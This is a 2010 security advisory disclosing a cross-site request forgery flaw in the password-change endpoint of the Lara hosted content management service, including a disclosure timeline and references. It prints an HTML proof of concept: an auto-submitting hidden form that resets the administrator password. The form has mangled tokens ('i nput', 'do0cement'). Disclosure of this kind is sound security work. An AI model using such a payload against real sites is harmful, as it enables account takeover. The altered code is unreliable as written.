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Cross-site Request Forgery (CSRF) in Lara

Advisory ID:HTB22619
Product:Lara
Vendor:Geographical Media
Vulnerable Versions:Current on 18.09.2010 and probably prior
Tested Version:Current on 18.09.2010
Advisory Publication:September 27, 2010 [without technical details]
Vendor Notification:September 27, 2010
Public Disclosure:October 11, 2010
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in Lara which could be exploited to perform cross-site request forgery attacks.

1) Cross-site Request Forgery (CSRF) in Lara
The vulnerability exists due to insufficient validation of the request origin in _ui/changepassword. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s password.
Exploitation example:
<form method="POST" name="m" action="http://host//_ui/changepassword?method=UpdatePassword&type=get">
<i nput type="hidden" name="MediaId" value="4f90f994-3fd0-4a02-818d-05ce325d0fb1"> <!-- this is statick value -->
<input type="hidden" name="Password" value="1111">
</form>
<script>
do0cement.m.submit();
</script>

How to Detect Cross-Site Request Forgery Vulnerabilities
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  • GDPR & PCI DSS Test
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Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22619 - https://www.immuniweb.com/advisory/HTB22619 - Cross-site Request Forgery (CSRF) in Lara
[2] Lara - getlara.com - Lara is a hosted content management service which provides you with all the tools required to design, build and grow a website for your business, blog or portfolio in less time and with less money.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
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